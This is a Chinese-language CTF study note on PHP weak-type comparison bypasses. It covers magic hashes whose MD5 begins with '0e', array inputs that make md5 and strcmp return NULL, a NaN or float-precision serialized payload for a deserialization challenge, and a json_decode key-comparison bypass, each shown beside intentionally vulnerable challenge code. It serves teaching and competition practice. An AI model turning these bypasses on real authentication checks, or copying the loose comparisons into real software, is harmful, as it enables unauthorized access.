php的弱类型
php是个弱类型的语言.
= 赋值
== 只比较值(比较的时候会发生类型转换)
=== 全等于,值和类型
!== 比较值和类型
!= 只比较值
数值和字符串比较,那么字符串会转换为数值
常见的 ==
‘‘ == 0
0 == false
NULL == 0
intval(‘‘)->int(0)
intval(‘false‘)->int(0)
123 == ‘123‘
0 == ‘aa‘
1 == ‘1aaa‘
intval(‘1aaa‘)->int(1)
‘0e123456‘ == ‘0e484848‘(科学计数法)
true == 1
md5弱比较的绕过
$a1 != $a2;
md5($a1) = md5($a2);
(绕过碰撞,找两个md5值为0e开头的)
可以使MD5函数报错,传数组
数组绕过
常见的md5为0e开头的
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
MD5相关
<?php
ini_set("display_error",false);
error_reporting(0);
if ($_POST[‘a‘]!=$_POST[‘b‘]&&md5($_POST[‘a‘])==md5($_POST[‘b‘]))
{
die("success");
}
else
{
echo "fail";
}
?>
md5(xx)=0exxxx
QNKCDZO md5 : 0e830400451993494058024219903391
240610708 md5 : 0e462097431906509019562988736854
数组绕过
对于$a[]=1;
,它的意义应该是在先将$a转换为数组类型,再在后面添加变量
但是Warning: Cannot use a scalar value as an array in php shell code on line 1
$b
初始化值之后,不可以再进行$b[]=1;
的操作
可以通过$x=array();
的操作使$a
强制转换为数组;
对于md5()
,md5(string,raw)
,第一个参数必须为字符串类型;
如果传进去数组,则会返回NULL
所以,对于两个数组,md5($a[])===md5($b[])
2020 国赛trick
<?php
class trick{
public $a;
public $b;
public function __destruct(){
$this->a = (string)$this->a;
if(strlen($this->a) > 5 || strlen($this->b) > 5){
die("你太长了");//a,b的值不能超过5
}
if($this->a !== $this->b && md5($this->a) === md5($this->b) && $this->a != $this->b){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET[‘trick‘]);
利用NaN绕过
某些数学运算会产生一个由常量NaN所代表的结果.此结果代表着一个在浮点数运算中未定义或不可表述的值.因此它与任何值进行松散或严格的比较的结果都是FALSE.(别的还有类似的INF)
由于NaN代表着任何不同的
值,不应该拿NAN去和其它值进行比较.
可以通过is_nan()函数来判断
<?php
class trick{
public $a;
public $b;
}
$tr = new trick();
$tr->a = NAN;
$tr->b = NAN;
echo serialize($tr);
?>
PHP精度的绕过
php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1
<?php
$a=0.1;
$b=0.100000000000001;
var_dump($a!==$b);#bool(true)
var_dump($a!=$b);#bool(true)
var_dump(md5($a)===md5($b));#bool(true)
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));#bool(true)
?>
payload:
<?php
class trick{
public $a=0.1;
public $b=0.100000000000001;
}
$payload=new trick();
echo serialize($payload);
?>
#O:5:"trick":2:{s:1:"a";d:0.1;s:1:"b";d:0.100000000000001;}
json相关
<?php
highlight_file(__FILE__);
include ‘flag.php‘;
if (isset($_POST[‘message‘]))
{
$message = json_decode($_POST[‘message‘]);
if ($message->key == $key)
{
echo $flag;
}
else
{
echo "fail";
}
}
else
{
echo "~~~~";
}
?>
flag.php:
<?php
$key = "6xxxxx";
$flag = ‘flag{aaaaa0}‘;
?>
payload: message={"key":6}
利用 数字与字符串比较的特性
也可以抓包爆破
switch
<?php
highlight_file(__FILE__);
$i = "3name";
switch ($i)
{
case 0:
case 1:
case 2:
echo "fail";
case 3:
echo "flag";
}
?>
strcmp相关
官方手册 : https://www.php.net/manual/zh/function.strcmp.php
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST[‘password‘]))
{
if (strcmp($_POST[‘password‘],$password) == 0)
{
echo $flag;
exit();
}
else
{
echo "wrong password";
}
}
?>
数组绕过
原因是
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
in_array()
还有array_search(),strpos()等函数,比较中也存在弱类型